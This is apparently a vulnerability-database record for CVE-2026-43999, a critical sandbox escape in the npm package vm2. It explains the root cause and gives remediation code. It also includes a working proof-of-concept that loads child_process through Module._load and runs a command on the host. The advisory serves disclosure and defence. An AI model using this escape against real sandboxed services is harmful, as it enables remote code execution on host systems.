{"id":"CVE-2026-43999","aliases":["GHSA-947f-4v7f-x2v8"],"url":"https://o3.security/vulnerability/CVE-2026-43999","summary":"vm2: NodeVM builtin allowlist bypass via `module` builtin's `Module._load` allows sandbox escape","details":"## Summary\nNodeVM's `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `'*'` wildcard). The `module` builtin exposes Node's `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.\n\n## Severity\n**Critical** (CVSS 3.1: 9.9)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** Low — no special conditions required; `['*', '-child_process']` is a common, documented pattern\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed — escape from sandbox boundary to host system\n- **Confidentiality Impact:** High — arbitrary command execution on the host\n- **Integrity Impact:** High — arbitrary command execution on the host\n- **Availability Impact:** High — arbitrary command execution on the host\n\n## Affected Component\n- `lib/builtin.js` — `makeBuiltinsFromLegacyOptions()` (lines 109-117) — includes `module` in `'*'` expansion\n- `lib/builtin.js` — `addDefaultBuiltin()` (lines 86-90) — loads `module` with generic readonly wrapper\n- `lib/builtin.js` — `SPECIAL_MODULES` (line 61) — does NOT include `module`\n\n## CWE\n- **CWE-863**: Incorrect Authorization\n\n## Description\n\n### Root Cause: The `module` builtin provides unrestricted host module loading\n\nWhen `builtin: ['*', '-child_process']` is configured, `makeBuiltinsFromLegacyOptions` iterates over `BUILTIN_MODULES` and adds all modules not explicitly excluded:\n\n```js\n// lib/builtin.js:40\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n    .filter(s=>!s.startsWith('internal/'));\n\n// lib/builtin.js:109-117\nif (Array.isArray(builtins)) {\n    const def = builtins.indexOf('*') >= 0;\n    if (def) {\n        for (let i = 0; i < BUILTIN_MODULES.length; i++) {\n            const name = BUILTIN_MODULES[i];\n            if (builtins.indexOf(`-${name}`) === -1) {\n                addDefaultBuiltin(res, name, hostRequire);\n            }\n        }\n    }\n```\n\nNode's `builtinModules` includes `'module'` (verified: `require('module').builtinModules.includes('module')` → `true`). Since only `'-child_process'` is excluded, `'module'` passes the filter and gets added.\n\nThe `module` builtin is NOT in `SPECIAL_MODULES` (which only covers `events`, `buffer`, `util`), so it gets the generic loader:\n\n```js\n// lib/builtin.js:86-90\nfunction addDefaultBuiltin(builtins, key, hostRequire) {\n    if (builtins.has(key)) return;\n    const special = SPECIAL_MODULES[key];\n    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));\n}\n```\n\nThis wraps Node's `Module` class in a readonly proxy and hands it to the sandbox.\n\n### The readonly proxy does not prevent method calls\n\n`ReadOnlyHandler` (bridge.js:940-983) only overrides mutation traps: `set`, `setPrototypeOf`, `defineProperty`, `deleteProperty`, `isExtensible`, `preventExtensions`. It does NOT override `get` or `apply`, which are inherited from `BaseHandler`.\n\n`BaseHandler.apply()` (bridge.js:665-677) forwards function calls directly to the host context:\n\n```js\napply(target, context, args) {\n    const object = getHandlerObject(this);\n    let ret;\n    try {\n        context = otherFromThis(context);\n        args = otherFromThisArguments(args);\n        ret = otherReflectApply(object, context, args);\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n    return thisFromOther(ret);\n}\n```\n\nSo `Module._load('child_process')` is forwarded to Node's native `Module._load` in the host context, which loads `child_process` without any vm2 allowlist check.\n\n### Inconsistent defense: some builtins are isolated, `module` is not\n\nThe codebase IS aware that certain builtins need special handling:\n\n- `events`: Gets a complete sandbox-native reimplementation via `lib/events.js`\n- `buffer`: Custom loader that only exposes the `Buffer` class\n- `util`: Custom loader that replaces `inherits` with a sandbox-safe version\n\nBut `module` — which provides access to the host's entire module loading infrastructure via `Module._load`, `Module._resolveFilename`, etc. — gets no special treatment at all.\n\n### Full execution chain\n\n1. Host configures `NodeVM` with `builtin: ['*', '-child_process']`\n2. `makeBuiltinsFromLegacyOptions` adds `'module'` to allowed builtins (not excluded)\n3. Sandbox code calls `require('module')` → resolver finds `'module'` in builtins → `loadBuiltinModule('module')`\n4. Loader calls `vm.readonly(hostRequire('module'))` → returns readonly proxy of Node's `Module` class\n5. Sandbox reads `Module._load` → `BaseHandler.get()` returns proxied function\n6. Sandbox calls `Module._load('child_process')` → `BaseHandler.apply()` forwards to host\n7. Host's `Module._load` loads `child_process` natively (no vm2 check involved)\n8. `child_process` module proxied back to sandbox\n9. Sandbox calls `child_process.execSync('id')` → executes on host → RCE\n\n## Proof of Concept\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Developer thinks child_process is blocked\nconst vm = new NodeVM({\n  require: {\n    builtin: ['*', '-child_process'],\n    external: false,\n  },\n});\n\nconst out = vm.run(`\n  const Module = require('module');\n  // Module._load bypasses vm2's builtin allowlist entirely\n  const cp = Module._load('child_process');\n  module.exports = cp.execSync('id').toString();\n`, 'poc.js');\n\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\n```\n\n## Impact\n- **Complete builtin allowlist bypass**: Any configuration that allows the `module` builtin (including `['*', '-X']` patterns) can load ANY builtin, including explicitly excluded ones.\n- **Remote code execution**: Sandboxed code can execute arbitrary commands on the host via `child_process.execSync`.\n- **Common configuration affected**: The `['*', '-child_process', '-fs']` pattern is documented and widely used by developers who want \"all builtins except dangerous ones.\"\n- **No special conditions**: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the `'*'` wildcard.\n- **Additional attack surfaces via `module`**: Beyond `_load`, the `Module` class also exposes `_resolveFilename`, `_cache`, `_pathCache`, and other internals that could be abused.\n\n## Recommended Remediation\n\n### Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)\n\nThe `module` builtin provides unrestricted host module loading and should never be exposed to the sandbox:\n\n```js\n// lib/builtin.js:40\nconst DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);\n\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));\n```\n\nThis prevents `module` from being included even with the `'*'` wildcard. Consider also blocking `worker_threads` and `cluster` which can spawn processes.\n\n### Option 2: Add `module` to `SPECIAL_MODULES` with a safe wrapper\n\nIf `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs:\n\n```js\n// lib/builtin.js\nconst SPECIAL_MODULES = {\n    events: { /* ... existing ... */ },\n    buffer: defaultBuiltinLoaderBuffer,\n    util: defaultBuiltinLoaderUtil,\n    module: function defaultBuiltinLoaderModule(vm) {\n        // Only expose safe, read-only metadata — no _load, no _resolveFilename\n        return vm.readonly({\n            builtinModules: [...nmod.builtinModules],\n            // Omit _load, _resolveFilename, _cache, createRequire, etc.\n        });\n    }\n};\n```\n\n**Tradeoff**: Breaks sandbox code that legitimately uses `Module` APIs, but those APIs are inherently unsafe in a sandbox context.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","published":"2026-05-13T17:21:22.308Z","modified":"2026-09-09T03:30:13.393017155Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00974,"percentile":0.59095,"asOf":"2026-08-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.0"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43999.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50850"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-43999"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43999.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43999"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477196"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-09T03:30:13.393017155Z"}}